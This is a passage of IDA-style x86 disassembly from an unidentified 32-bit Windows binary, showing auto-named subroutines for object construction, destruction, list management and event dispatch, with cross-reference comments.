		test	ebx, ebx
		jnz	short loc_69B766F2
		mov	ebx, eax


loc_69B766F2:				; CODE XREF: sub_69B766CB+23j
		cmp	[ebp+arg_8], 0
		jnz	short loc_69B76704
		cmp	esi, eax
		jnz	short loc_69B76704
		test	ebx, ebx
		jz	short loc_69B76704


loc_69B76700:				; CODE XREF: sub_69B766CB+59j
		mov	byte ptr [ebp+arg_0+3],	1


loc_69B76704:				; CODE XREF: sub_69B766CB+2Bj
					; sub_69B766CB+2Fj ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jz	short loc_69B7671C


loc_69B7670A:				; CODE XREF: sub_69B766CB+74j
		push	ebx
		push	esi
		mov	ecx, edi
		call	sub_69B764D5
		mov	esi, eax
		mov	[ebp+var_4], esi
		mov	byte ptr [ebp+arg_0+3],	0


loc_69B7671C:				; CODE XREF: sub_69B766CB+3Dj
		cmp	esi, [edi+30h]
		jnz	short loc_69B76726
		cmp	ebx, [edi+34h]
		jnz	short loc_69B76700


loc_69B76726:				; CODE XREF: sub_69B766CB+54j
		mov	ecx, [edi+28h]
		push	esi
		call	sub_69B1980A
		test	eax, eax
		jz	short loc_69B7673B
		cmp	ebx, eax
		jz	short loc_69B7673B
		mov	byte ptr [ebp+arg_0+3],	1


loc_69B7673B:				; CODE XREF: sub_69B766CB+66j
					; sub_69B766CB+6Aj
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_69B7670A
		mov	ecx, [edi+28h]
		push	ebx
		push	esi
		call	sub_69B3182D
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
sub_69B766CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B76755	proc near		; CODE XREF: sub_69B76A2E+Cp
					; sub_69B76A2E+6Fp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		mov	ebx, [eax+0Ch]
		push	esi
		push	edi
		mov	edi, [eax+10h]
		mov	esi, ecx
		mov	ecx, [eax+8]
		mov	ecx, [ecx+10h]
		push	edi
		push	ecx
		push	ebx
		mov	ecx, esi
		call	sub_69B76564
		test	al, al
		jz	short loc_69B767DC
		test	ebx, ebx
		jz	short loc_69B76785
		mov	eax, [ebx]
		mov	ecx, ebx
		call	dword ptr [eax+2Ch]
		jmp	short loc_69B7678A
; ---------------------------------------------------------------------------


loc_69B76785:				; CODE XREF: sub_69B76755+25j
		mov	eax, offset off_69B1A5AC


loc_69B7678A:				; CODE XREF: sub_69B76755+2Ej
		push	dword_69B95A6C
		mov	edx, dword_69B95A5C
		mov	ecx, [esi+20h]
		push	edx
		push	edx
		push	eax
		call	sub_69B4D7A3
		mov	ecx, [esi+18h]
		mov	ebx, eax
		mov	eax, [ecx]
		push	ebx
		push	0Fh
		call	dword ptr [eax+38h]
		test	edi, edi
		jz	short loc_69B767CF
		mov	edx, [edi]
		push	ebp
		mov	ebp, [esi+18h]
		mov	eax, [ebp+0]
		mov	ecx, edi
		mov	[esp+10h+arg_0], eax
		call	dword ptr [edx+2Ch]
		push	eax
		mov	eax, [esp+14h+arg_0]
		mov	ecx, ebp
		call	dword ptr [eax+44h]
		pop	ebp


loc_69B767CF:				; CODE XREF: sub_69B76755+5Bj
		mov	ecx, [esi+18h]
		mov	eax, [ecx]
		push	0
		push	ebx
		push	0Fh
		call	dword ptr [eax+3Ch]


loc_69B767DC:				; CODE XREF: sub_69B76755+21j
		pop	edi
		pop	esi
		pop	ebx
		retn	4
sub_69B76755	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B767E2	proc near		; CODE XREF: sub_69B769A0+17p
		push	edi
		lea	edi, [ecx+14h]
		xor	eax, eax
		cmp	[edi], eax
		jz	short loc_69B767F4
		mov	[ecx+8], eax
		mov	[ecx+18h], eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_69B767F4:				; CODE XREF: sub_69B767E2+8j
		push	esi
		push	150h
		call	sub_69B17EF3
		mov	esi, eax
		mov	ecx, esi
		mov	dword ptr [esi+8], 10h
		call	sub_69B19118
		push	esi
		push	edi
		mov	dword ptr [esi], offset	off_69B14330
		call	sub_69B17320
		pop	esi
		pop	edi
		retn
sub_69B767E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7681F	proc near		; CODE XREF: sub_69B769A0+6Ep

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi+14h]
		mov	ecx, [edi]
		mov	eax, [ecx+8]
		cmp	[esi+18h], eax
		jl	short loc_69B76841
		shl	eax, 2
		push	eax
		call	sub_69B76631
		push	eax
		push	edi
		call	sub_69B17320


loc_69B76841:				; CODE XREF: sub_69B7681F+10j
		cmp	[esp+0Ch+arg_4], 0
		mov	eax, [esp+0Ch+arg_0]
		mov	ebx, [eax+8]
		jz	short loc_69B7685B
		push	ebx
		mov	ecx, esi
		call	sub_69B765EA
		test	al, al
		jnz	short loc_69B7686E


loc_69B7685B:				; CODE XREF: sub_69B7681F+2Ej
		mov	eax, [esi+18h]
		mov	edx, [edi]
		lea	ecx, [eax+eax*4]
		lea	ecx, [edx+ecx*4+0Ch]
		inc	eax
		mov	[esi+1Ch], ecx
		mov	[esi+18h], eax


loc_69B7686E:				; CODE XREF: sub_69B7681F+3Aj
		mov	edx, [esp+0Ch+arg_0]
		lea	eax, [esi+1Ch]
		mov	ecx, [eax]
		mov	[ecx], edx
		mov	ecx, [eax]
		mov	[ecx+4], ebx
		mov	ecx, [eax]
		mov	edx, [esi+8]
		mov	[ecx+8], edx
		mov	ecx, [eax]
		and	dword ptr [ecx+0Ch], 0
		mov	eax, [eax]
		and	dword ptr [eax+10h], 0
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_69B7681F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B76898	proc near		; CODE XREF: sub_69B76A2E+3Ep
					; sub_69B76AFB+73p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [ecx+1Ch]
		mov	eax, [eax]
		mov	edx, [esp+arg_0]
		mov	[edx], eax
		mov	eax, [ecx+1Ch]
		mov	eax, [eax+8]
		mov	edx, [ecx+0Ch]
		lea	eax, [edx+eax*2+0Ch]
		mov	edx, [esp+arg_4]
		mov	[edx], eax
		mov	eax, [ecx+1Ch]
		mov	eax, [eax+0Ch]
		mov	edx, [esp+arg_8]
		mov	[edx], eax
		mov	eax, [ecx+1Ch]
		mov	eax, [eax+10h]
		mov	ecx, [esp+arg_C]
		mov	[ecx], eax
		retn	10h
sub_69B76898	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B768D1	proc near		; DATA XREF: .text:69B1A694o
		sub	ecx, 8
		jmp	sub_69B76677
sub_69B768D1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B88D77


loc_69B768D9:				; CODE XREF: sub_69B88D77+Dj
		push	esi
		mov	esi, ecx
		call	sub_69B19118
		push	10h
		mov	ecx, esi
		mov	dword ptr [esi], offset	off_69B14370
		call	sub_69B88CCC
		mov	eax, esi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_69B88D77

; =============== S U B	R O U T	I N E =======================================



sub_69B768F4	proc near		; CODE XREF: sub_69B76C95-60622p
					; sub_69B88D8C+Dj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B19118
		push	[esp+4+arg_0]
		mov	ecx, esi
		mov	dword ptr [esi], offset	off_69B14370
		call	sub_69B88CCC
		mov	eax, esi
		pop	esi
		retn	4
sub_69B768F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B76913	proc near		; CODE XREF: sub_69B76ABA+3p
					; sub_69B76AD5+Ep
		push	esi
		mov	esi, ecx
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B17230
		mov	ecx, esi
		pop	esi
		jmp	sub_69B186FA
sub_69B76913	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B76927	proc near		; DATA XREF: .text:69B166BCo
		push	esi
		mov	esi, ecx
		push	0
		lea	eax, [esi+14h]
		push	eax
		call	sub_69B17320
		mov	ecx, esi
		pop	esi
		jmp	nullsub_5
sub_69B76927	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7693D	proc near		; CODE XREF: sub_69B7666F+3j
					; DATA XREF: .text:69B1A6C0o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B76958
		test	[esp+4+arg_0], 1
		jz	short loc_69B76952
		push	esi
		call	sub_69B1829F


loc_69B76952:				; CODE XREF: sub_69B7693D+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B7693D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B76958	proc near		; CODE XREF: sub_69B7693D+3p
		push	esi
		mov	esi, ecx
		lea	eax, [esi+3Ch]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+28h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+24h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+20h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+18h]
		push	eax
		call	sub_69B17230
		mov	ecx, esi
		neg	ecx
		lea	eax, [esi+8]
		sbb	ecx, ecx
		and	ecx, eax
		call	sub_69B18700
		mov	ecx, esi
		pop	esi
		jmp	sub_69B186FA
sub_69B76958	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B769A0	proc near		; DATA XREF: .text:69B1A698o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		test	ebx, ebx
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_4]
		mov	esi, ecx
		jnz	short loc_69B769EA
		mov	ecx, [esi+34h]
		inc	dword ptr [esi+0Ch]
		call	sub_69B767E2
		mov	ecx, [esi+20h]
		call	sub_69B1C27E
		mov	[esi+24h], edi
		mov	eax, [edi+0Ch]
		test	eax, eax
		jnz	short loc_69B769D3
		mov	eax, dword_69B95A18


loc_69B769D3:				; CODE XREF: sub_69B769A0+2Cj
		mov	[esi+28h], eax
		mov	eax, [edi+8]
		mov	eax, [eax+10h]
		test	eax, eax
		jnz	short loc_69B769E5
		mov	eax, dword_69B95A18


loc_69B769E5:				; CODE XREF: sub_69B769A0+3Ej
		mov	[esi+2Ch], eax
		jmp	short loc_69B76A1E
; ---------------------------------------------------------------------------


loc_69B769EA:				; CODE XREF: sub_69B769A0+Fj
		cmp	ebx, 0Fh
		jnz	short loc_69B76A15
		cmp	byte ptr [esi+4], 0
		jnz	short loc_69B76A1E
		mov	eax, [esp+0Ch+arg_4]
		mov	byte ptr [esi+30h], 1
		mov	ecx, [eax+0Ch]
		cmp	ecx, dword_69B95A6C
		setnz	cl
		push	ecx
		mov	ecx, [esi+34h]
		push	eax
		call	sub_69B7681F
		jmp	short loc_69B76A28
; ---------------------------------------------------------------------------


loc_69B76A15:				; CODE XREF: sub_69B769A0+4Dj
		cmp	ebx, 12h
		jnz	short loc_69B76A1E
		mov	byte ptr [esi+4], 1


loc_69B76A1E:				; CODE XREF: sub_69B769A0+48j
					; sub_69B769A0+53j ...
		mov	ecx, [esi+10h]
		mov	eax, [ecx]
		push	edi
		push	ebx
		call	dword ptr [eax+38h]


loc_69B76A28:				; CODE XREF: sub_69B769A0+73j
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_69B769A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B76A2E	proc near		; CODE XREF: sub_69B76AFB+18p
					; sub_69B76C81+6p

var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		mov	esi, ecx
		push	dword ptr [esi+2Ch]
		call	sub_69B76755
		mov	eax, [esi+3Ch]
		mov	ecx, [eax+14h]
		sub	ecx, 8
		mov	[eax+1Ch], ecx
		mov	ecx, [esi+3Ch]
		call	sub_69B76617
		test	al, al
		jz	short loc_69B76AB7
		push	ebx
		push	edi


loc_69B76A59:				; CODE XREF: sub_69B76A2E+85j
		mov	ecx, [esi+3Ch]
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_69B76898
		test	[ebp+var_C], 1
		jnz	short loc_69B76AA9
		mov	ebx, [ebp+var_10]
		push	[ebp+var_4]
		mov	eax, [ebx+8]
		mov	edi, [eax+10h]
		cmp	edi, dword_69B95A5C
		push	[ebp+var_8]
		mov	ecx, esi
		push	ebx
		jz	short loc_69B76AA4
		call	sub_69B7659D
		test	edi, edi
		jz	short loc_69B76AA9
		push	ebx
		mov	ecx, esi
		call	sub_69B76755
		jmp	short loc_69B76AA9
; ---------------------------------------------------------------------------


loc_69B76AA4:				; CODE XREF: sub_69B76A2E+61j
		call	sub_69B7659D


loc_69B76AA9:				; CODE XREF: sub_69B76A2E+47j
					; sub_69B76A2E+6Aj ...
		mov	ecx, [esi+3Ch]
		call	sub_69B76617
		test	al, al
		jnz	short loc_69B76A59
		pop	edi
		pop	ebx


loc_69B76AB7:				; CODE XREF: sub_69B76A2E+27j
		pop	esi
		leave
		retn
sub_69B76A2E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B76ABA	proc near		; DATA XREF: .text:69B1437Co

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B76913
		test	[esp+4+arg_0], 1
		jz	short loc_69B76ACF
		push	esi
		call	sub_69B1829F


loc_69B76ACF:				; CODE XREF: sub_69B76ABA+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B76ABA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B76AD5	proc near		; DATA XREF: .text:69B16694o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		lea	eax, [esi+14h]
		push	eax
		call	sub_69B17230
		mov	ecx, esi
		call	sub_69B76913
		test	[esp+4+arg_0], 1
		jz	short loc_69B76AF5
		push	esi
		call	sub_69B1829F


loc_69B76AF5:				; CODE XREF: sub_69B76AD5+18j
		mov	eax, esi
		pop	esi
		retn	4
sub_69B76AD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B76AFB	proc near		; DATA XREF: .text:69B1A69Co

var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		test	edi, edi
		mov	esi, ecx
		jnz	short loc_69B76B2B
		cmp	byte ptr [ebp+arg_8], 0
		jnz	short loc_69B76B18
		lea	ecx, [esi-8]
		call	sub_69B76A2E


loc_69B76B18:				; CODE XREF: sub_69B76AFB+13j
		push	dword ptr [esi+0Ch]
		mov	ecx, [esi+18h]
		call	sub_69B4DDE6
		dec	dword ptr [esi+0Ch]
		jmp	loc_69B76C6C
; ---------------------------------------------------------------------------


loc_69B76B2B:				; CODE XREF: sub_69B76AFB+Dj
		cmp	edi, 0Fh
		jnz	loc_69B76C63
		cmp	byte ptr [esi+4], 0
		jnz	loc_69B76C6C
		mov	ecx, [esi+34h]
		push	ebx
		push	0
		call	sub_69B88E7C
		mov	edi, [ebp+arg_4]
		mov	ebx, [edi+0Ch]
		cmp	ebx, dword_69B95A6C
		jnz	loc_69B76C19
		mov	ecx, [esi+34h]
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_69B76898
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		jz	short loc_69B76B96
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_69B2FAC8
		mov	ecx, [esi+18h]
		push	eax
		mov	[ebp+arg_4], eax
		call	sub_69B4DA96
		mov	[ebp+arg_8], eax
		jmp	short loc_69B76B9C
; ---------------------------------------------------------------------------


loc_69B76B96:				; CODE XREF: sub_69B76AFB+7Dj
		mov	[ebp+arg_8], ebx
		mov	[ebp+arg_4], ebx


loc_69B76B9C:				; CODE XREF: sub_69B76AFB+99j
		mov	eax, [edi+8]
		mov	eax, [eax+14h]
		mov	edi, eax
		sub	edi, dword_69B95A18
		neg	edi
		sbb	edi, edi
		and	edi, eax
		jz	short loc_69B76BC9
		cmp	[ebp+arg_8], ebx
		jnz	short loc_69B76BC9


loc_69B76BB7:				; CODE XREF: sub_69B76AFB+11Cj
		mov	eax, [esi+34h]
		mov	eax, [eax+1Ch]
		mov	dword ptr [eax+10h], 1
		jmp	loc_69B76C5C
; ---------------------------------------------------------------------------


loc_69B76BC9:				; CODE XREF: sub_69B76AFB+B5j
					; sub_69B76AFB+BAj
		push	1
		push	[ebp+arg_8]
		lea	ecx, [esi-8]
		push	edi
		call	sub_69B766CB
		mov	ebx, eax
		cmp	ebx, edi
		jz	short loc_69B76C04
		push	dword_69B95A6C
		mov	eax, dword_69B95A5C
		mov	edi, [esi+18h]
		push	eax
		push	eax
		mov	eax, [ebx]
		mov	ecx, ebx
		call	dword ptr [eax+2Ch]
		push	eax
		mov	ecx, edi
		call	sub_69B4D7A3
		mov	ecx, [esi+34h]
		mov	ecx, [ecx+1Ch]
		mov	[ecx], eax


loc_69B76C04:				; CODE XREF: sub_69B76AFB+E0j
		push	[ebp+arg_4]
		lea	ecx, [esi-8]
		push	[ebp+arg_8]
		push	ebx
		call	sub_69B76564
		test	al, al
		jnz	short loc_69B76C5C
		jmp	short loc_69B76BB7
; ---------------------------------------------------------------------------


loc_69B76C19:				; CODE XREF: sub_69B76AFB+5Aj
		mov	eax, [edi+8]
		mov	eax, [eax+10h]
		test	eax, eax
		mov	[ebp+arg_8], eax
		jz	short loc_69B76C5C
		push	0
		push	eax
		push	ebx
		lea	ecx, [esi-8]
		call	sub_69B766CB
		cmp	eax, ebx
		jz	short loc_69B76C5C
		mov	ecx, [edi+8]
		mov	edi, [edi+10h]
		mov	ecx, [ecx+14h]
		mov	ebx, [esi+18h]
		push	eax
		mov	eax, [ecx]
		push	edi
		push	[ebp+arg_8]
		call	dword ptr [eax+2Ch]
		push	eax
		mov	ecx, ebx
		call	sub_69B4D7A3
		mov	ecx, [esi+34h]
		mov	ecx, [ecx+1Ch]
		mov	[ecx], eax


loc_69B76C5C:				; CODE XREF: sub_69B76AFB+C9j
					; sub_69B76AFB+11Aj ...
		mov	byte ptr [esi+30h], 0
		pop	ebx
		jmp	short loc_69B76C7B
; ---------------------------------------------------------------------------


loc_69B76C63:				; CODE XREF: sub_69B76AFB+33j
		cmp	edi, 12h
		jnz	short loc_69B76C6C
		mov	byte ptr [esi+4], 0


loc_69B76C6C:				; CODE XREF: sub_69B76AFB+2Bj
					; sub_69B76AFB+3Dj ...
		push	[ebp+arg_8]
		mov	ecx, [esi+10h]
		push	[ebp+arg_4]
		mov	eax, [ecx]
		push	edi
		call	dword ptr [eax+3Ch]


loc_69B76C7B:				; CODE XREF: sub_69B76AFB+166j
		pop	edi
		pop	esi
		leave
		retn	0Ch
sub_69B76AFB	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B76C81	proc near		; DATA XREF: .text:69B1A6A0o
		push	esi
		mov	esi, ecx
		lea	ecx, [esi-8]
		call	sub_69B76A2E
		mov	ecx, [esi+10h]
		mov	eax, [ecx]
		pop	esi
		jmp	dword ptr [eax+40h]
sub_69B76C81	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B76C95	proc near		; CODE XREF: sub_69B1A5C0+5Fp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 69B1666C SIZE 0000001C BYTES

		push	20h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B76CA7
		mov	ecx, eax
		jmp	loc_69B1666C
; ---------------------------------------------------------------------------


loc_69B76CA7:				; CODE XREF: sub_69B76C95+9j
		xor	eax, eax
		retn	4
sub_69B76C95	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B76CAC	proc near		; CODE XREF: sub_69B76082+1Dp
					; sub_69B760B0+A6p
		push	40h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B76CBE
		mov	ecx, eax
		jmp	sub_69B1A5C0
; ---------------------------------------------------------------------------


loc_69B76CBE:				; CODE XREF: sub_69B76CAC+9j
		xor	eax, eax
		retn	8
sub_69B76CAC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B76CC3	proc near		; DATA XREF: .text:69B1678Co

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		mov	ecx, [esp+8+arg_0]
		mov	eax, [ecx]
		mov	edi, [esi]
		push	1
		push	4
		call	dword ptr [eax+4Ch]
		push	eax
		mov	ecx, esi
		call	dword ptr [edi+44h]
		pop	edi
		pop	esi
		retn	4
sub_69B76CC3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B76CE1	proc near		; DATA XREF: .text:69B1674Co

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		sub	ecx, 8
		jmp	loc_69B76EA2
; ---------------------------------------------------------------------------


loc_69B76CE9:				; CODE XREF: sub_69B76CE1+1BCj
					; DATA XREF: .text:69B167C8o
		push	esi
		push	edi
		mov	esi, ecx
		xor	edi, edi
		push	edi
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+1Ch]
		push	eax
		mov	[esi+20h], edi
		call	sub_69B17320
		push	edi
		lea	eax, [esi+10h]
		push	eax
		call	sub_69B17320
		push	edi
		add	esi, 14h
		push	esi
		call	sub_69B17320
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_69B76D1D:				; CODE XREF: sub_69B76CE1+CDp
					; sub_69B76CE1+110p ...
		push	ebx
		push	esi
		mov	esi, ecx
		lea	eax, [esi+10h]
		mov	ecx, [eax]
		push	edi
		xor	edi, edi
		cmp	ecx, edi
		jz	short loc_69B76D38
		push	edi
		push	eax
		mov	ebx, ecx
		call	sub_69B17320
		jmp	short loc_69B76D4E
; ---------------------------------------------------------------------------


loc_69B76D38:				; CODE XREF: sub_69B76CE1+4Aj
		mov	eax, [esi+14h]
		cmp	[eax+8], edi
		jz	short loc_69B76D87
		push	eax
		call	sub_69B2F0E0
		mov	ebx, eax
		mov	eax, [esi+14h]
		mov	[eax+8], edi


loc_69B76D4E:				; CODE XREF: sub_69B76CE1+55j
		cmp	ebx, edi
		jz	short loc_69B76D87
		mov	ecx, [esi+18h]
		mov	eax, [ecx]
		call	dword ptr [eax+44h]
		cmp	eax, 2
		jz	short loc_69B76D7C
		cmp	eax, 6
		jz	short loc_69B76D7C
		cmp	eax, 5
		jz	short loc_69B76D7C
		mov	ecx, [esi+0Ch]
		push	1
		push	edi
		push	dword ptr [esi+18h]
		push	edi
		push	1
		call	sub_69B3D2F2
		jmp	short loc_69B76D7F
; ---------------------------------------------------------------------------


loc_69B76D7C:				; CODE XREF: sub_69B76CE1+7Cj
					; sub_69B76CE1+81j ...
		mov	eax, [esi+18h]


loc_69B76D7F:				; CODE XREF: sub_69B76CE1+99j
		mov	edx, [eax]
		push	ebx
		mov	ecx, eax
		call	dword ptr [edx+5Ch]


loc_69B76D87:				; CODE XREF: sub_69B76CE1+5Dj
					; sub_69B76CE1+6Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_69B76D8B:				; DATA XREF: .text:69B16778o
		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		test	edi, edi
		mov	esi, ecx
		jz	short loc_69B76DAB
		cmp	edi, 2
		jz	short loc_69B76DAB
		cmp	edi, 4
		jle	short loc_69B76DCA
		cmp	edi, 6
		jle	short loc_69B76DAB
		cmp	edi, 0Fh
		jnz	short loc_69B76DCA


loc_69B76DAB:				; CODE XREF: sub_69B76CE1+B4j
					; sub_69B76CE1+B9j ...
		lea	ecx, [esi-8]
		call	loc_69B76D1D
		mov	ecx, [esi+4]
		push	1
		push	0
		push	dword ptr [esi+10h]
		push	[esp+10h+arg_8]
		push	edi
		call	sub_69B3D2F2
		mov	[esi+10h], eax


loc_69B76DCA:				; CODE XREF: sub_69B76CE1+BEj
					; sub_69B76CE1+C8j
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_69B76DCF:				; DATA XREF: .text:69B1677Co
		mov	eax, [esp-4+arg_4]
		test	eax, eax
		push	esi
		mov	esi, ecx
		jz	short loc_69B76DEE
		cmp	eax, 2
		jz	short loc_69B76DEE
		cmp	eax, 4
		jle	short loc_69B76E01
		cmp	eax, 6
		jle	short loc_69B76DEE
		cmp	eax, 0Fh
		jnz	short loc_69B76E01


loc_69B76DEE:				; CODE XREF: sub_69B76CE1+F7j
					; sub_69B76CE1+FCj ...
		lea	ecx, [esi-8]
		call	loc_69B76D1D
		mov	ecx, [esi+10h]
		mov	eax, [ecx]
		call	dword ptr [eax+64h]
		mov	[esi+10h], eax


loc_69B76E01:				; CODE XREF: sub_69B76CE1+101j
					; sub_69B76CE1+10Bj
		pop	esi
		retn	0Ch
; ---------------------------------------------------------------------------


loc_69B76E05:				; DATA XREF: .text:69B16784o
		push	esi
		mov	esi, ecx
		mov	ecx, [esi+0Ch]
		cmp	dword ptr [ecx+8], 0
		push	edi
		jnz	short loc_69B76E40
		lea	edi, [esi+8]
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_69B76E3A
		push	eax
		call	sub_69B88EA5
		push	[esp+arg_8]
		mov	ecx, [esi+0Ch]
		call	sub_69B88EA5
		push	0


loc_69B76E2F:				; CODE XREF: sub_69B76CE1+15Dj
		push	edi
		call	sub_69B17320
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_69B76E3A:				; CODE XREF: sub_69B76CE1+138j
		push	[esp+arg_8]
		jmp	short loc_69B76E2F
; ---------------------------------------------------------------------------


loc_69B76E40:				; CODE XREF: sub_69B76CE1+12Fj
		pop	edi
		pop	esi
		jmp	sub_69B88EA5
; ---------------------------------------------------------------------------


loc_69B76E47:				; DATA XREF: .text:69B16788o
		push	esi
		lea	esi, [ecx+8]
		mov	eax, [esi]
		test	eax, eax
		mov	ecx, [ecx+0Ch]
		jz	short loc_69B76E64
		push	eax
		call	sub_69B88EA5
		push	0
		push	esi
		call	sub_69B17320
		jmp	short loc_69B76E73
; ---------------------------------------------------------------------------


loc_69B76E64:				; CODE XREF: sub_69B76CE1+171j
		push	[esp-4+arg_C]
		push	0
		push	[esp+4+arg_8]
		call	sub_69B88E3F


loc_69B76E73:				; CODE XREF: sub_69B76CE1+181j
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_69B76E77:				; DATA XREF: .text:69B16790o
		push	esi
		mov	esi, ecx
		lea	ecx, [esi-8]
		call	loc_69B76D1D
		push	0
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B17320
		mov	ecx, [esi+18h]
		push	dword ptr [esi+14h]
		mov	eax, [ecx]
		call	dword ptr [eax+4]
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_69B76E9A:				; DATA XREF: .text:69B16774o
		sub	ecx, 8
		jmp	loc_69B76CE9
; ---------------------------------------------------------------------------


loc_69B76EA2:				; CODE XREF: sub_69B76CE1+3j
					; DATA XREF: .text:69B167A0o
		push	esi
		mov	esi, ecx
		call	sub_69B76EBD
		test	byte ptr [esp+4+arg_0],	1
		jz	short loc_69B76EB7
		push	esi
		call	sub_69B1829F


loc_69B76EB7:				; CODE XREF: sub_69B76CE1+1CEj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B76CE1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_69B76EBD	proc near		; CODE XREF: sub_69B76CE1+1C4p
		push	esi
		mov	esi, ecx
		lea	eax, [esi+1Ch]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+14h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+10h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B17230
		mov	ecx, esi
		neg	ecx
		lea	eax, [esi+8]
		sbb	ecx, ecx
		and	ecx, eax
		call	sub_69B18700
		mov	ecx, esi
		pop	esi
		jmp	sub_69B186FA
sub_69B76EBD	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B76EFC	proc near		; CODE XREF: sub_69B76082+8p
		push	28h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B76F0E
		mov	ecx, eax
		jmp	sub_69B166C0
; ---------------------------------------------------------------------------


loc_69B76F0E:				; CODE XREF: sub_69B76EFC+9j
		xor	eax, eax
		retn	8
sub_69B76EFC	endp

; [00000003 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND]
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_69B76F19	proc near		; CODE XREF: sub_69B760B0:loc_69B761D9p

; FUNCTION CHUNK AT 69B167CC SIZE 00000024 BYTES

		push	0Ch
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B76F2B
		mov	ecx, eax
		jmp	loc_69B167CC
; ---------------------------------------------------------------------------


loc_69B76F2B:				; CODE XREF: sub_69B76F19+9j
		xor	eax, eax
		retn
sub_69B76F19	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B76F2E	proc near		; CODE XREF: sub_69B77080+3j
					; DATA XREF: .text:69B168F4o
		add	ecx, 8
		mov	eax, [ecx]
		jmp	dword ptr [eax+50h]
